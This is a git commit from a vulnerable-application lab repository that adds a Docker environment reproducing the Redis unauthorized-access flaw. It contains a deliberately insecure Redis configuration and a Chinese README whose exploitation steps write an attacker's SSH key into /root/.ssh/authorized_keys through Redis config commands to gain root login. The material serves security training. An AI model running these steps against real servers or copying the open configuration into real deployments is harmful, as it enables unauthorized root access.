添加 Redis 未授权访问漏洞

This commit is contained in:
Medicean 2016-10-28 15:25:08 +08:00
parent 52e0973e9e
commit 1ba1dfa54b
7 changed files with 196 additions and 0 deletions

View File

@ -57,6 +57,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [I](#i)
* [J](#j)
* [O](#o)
* [R](#r)
* [S](#s)
* [W](#w)
* [Z](#z)
@ -83,6 +84,10 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
* [OpenSSL](./o/openssl/)
### [R](./r/)<div id="r"></div>
* [Redis](./r/redis/)
### [S](./s/)<div id="s"></div>
* [Struts2](./s/struts2/)

3
r/README.md Normal file
View File

@ -0,0 +1,3 @@
# R
* [Redis](./redis/)

37
r/redis/1/Dockerfile Normal file
View File

@ -0,0 +1,37 @@
FROM debian:jessie
# change source list
# RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
ENV REDIS_VERSION 3.0.7
ENV REDIS_DOWNLOAD_URL http://download.redis.io/releases/redis-3.0.7.tar.gz
ENV REDIS_DOWNLOAD_SHA1 e56b4b7e033ae8dbf311f9191cf6fdf3ae974d1c
RUN buildDeps='gcc libc6-dev make' \
&& set -x \
&& apt-get update && apt-get install -y wget $buildDeps --no-install-recommends \
&& wget -O redis.tar.gz "$REDIS_DOWNLOAD_URL" \
&& echo "$REDIS_DOWNLOAD_SHA1 *redis.tar.gz" | sha1sum -c - \
&& mkdir -p /usr/src/redis \
&& tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1 \
&& rm redis.tar.gz \
&& make -C /usr/src/redis \
&& make -C /usr/src/redis install \
&& rm -r /usr/src/redis \
&& apt-get purge -y --auto-remove $buildDeps
COPY src/redis.conf /etc/redis.conf
RUN mkdir /data
WORKDIR /data
# install openssh server
RUN apt-get install -y openssh-server \
&& mkdir -p /root/.ssh/
COPY src/start.sh /start.sh
RUN chmod a+x /start.sh
EXPOSE 22 6379
CMD ["/start.sh"]

103
r/redis/1/README.md Normal file
View File

@ -0,0 +1,103 @@
Redis 未授权访问漏洞
---
### 漏洞信息
> antirez :
>
> From time to time I get security reports about Redis. Its good to get reports, but its odd that what I get is usually about things like Lua sandbox escaping, insecure temporary file creation, and similar issues, in a software which is designed (as we explain in our security page here http://redis.io/topics/security) to be totally insecure if exposed to the outside world.
>
>我时不时的会收到有关Redis的安全报告, 这些报告多是有关 Lua沙盒溢出或是不安全的写文件这种千篇一律的问题, 但是这对一个被设计成一旦暴露在外部网络中就毫无安全性可言的软件来说简直是太奇怪了, 因为他们本来就不该暴露在外部网络之中 : (
>
如果将 Redis 绑定在 0.0.0.0:6379会将Redis服务暴露到公网上如果在没有开启认证的情况下可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法如果运行 redis 的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
### 镜像信息
类型 | 值
:-:|:-:|:-:
redis 端口 | 6379
redis 密码 | 无
sshd 端口 | 22
ssh root 密码 | 未设置(自行通过漏洞登录)
### 获取环境:
1. 拉取镜像到本地
```
$ docker pull medicean/vulapps:r_redis_1
```
2. 启动环境
```
$ docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1
```
> `-p 22:22` 前面的 22 代表物理机的端口,可随意指定。
>
3. 检测是否启动
使用 redis-cli 连接 redis 显示成功则代表服务已经启动
### 利用步骤
1. 在攻击方生成一对 ssh key (如果已经生成过则可跳过此步骤)
```
$ ssh-keygen -t rsa
```
默认情况下,生成后在用户的家目录下的 .ssh 目录下
2. 将生成的公钥的值写入目标服务器
```
$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
$ cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
```
> 加上 `\n\n` 是为了不破坏 ssh public key
>
> crackit 是设置的 key可随意指定
3. 连接目标
```
$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
OK
192.168.1.100:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.1.100:6379> config set dbfilename "authorized_keys"
OK
192.168.1.100:6379> save
OK
```
将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 `authorized_keys`,通过 save 指令即可写入文件。
4. 通过 ssh 连接目标
```
$ ssh root@192.168.1.100 -i ~/.ssh/id_rsa
```
> 默认会使用 `id_rsa` 如果改过文件名则可以用 -i 参数来指定。
### 推荐阅读
* [A few things about Redis security -- antirez](http://antirez.com/news/96)
* [Trying to hack Redis via HTTP requests](https://www.secpulse.com/archives/5366.html)
* [Redis 未授权访问检测](http://www.bugscan.net/source/plugin/2360/template/)
* [Redis 未授权访问缺陷可轻易导致系统被黑](https://www.seebug.org/vuldb/ssvid-89715)
### 扩展阅读
> ssh 不仅支持密码登录,还支持证书登录
* [authorized_keys 文件说明](http://man.he.net/man5/authorized_keys)

41
r/redis/1/src/redis.conf Normal file
View File

@ -0,0 +1,41 @@
daemonize no
pidfile /var/run/redis/redis-server.pid
port 6379
bind 0.0.0.0
timeout 0
tcp-keepalive 0
loglevel notice
logfile /data/redis-server.log
databases 16
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /data
slave-serve-stale-data yes
slave-read-only yes
repl-disable-tcp-nodelay no
slave-priority 100
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-entries 512
list-max-ziplist-value 64
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yes

3
r/redis/1/src/start.sh Normal file
View File

@ -0,0 +1,3 @@
#!/bin/bash
/etc/init.d/ssh restart
redis-server /etc/redis.conf

4
r/redis/README.md Normal file
View File

@ -0,0 +1,4 @@
# Redis VulApps
* [Redis 未授权访问漏洞](./1/)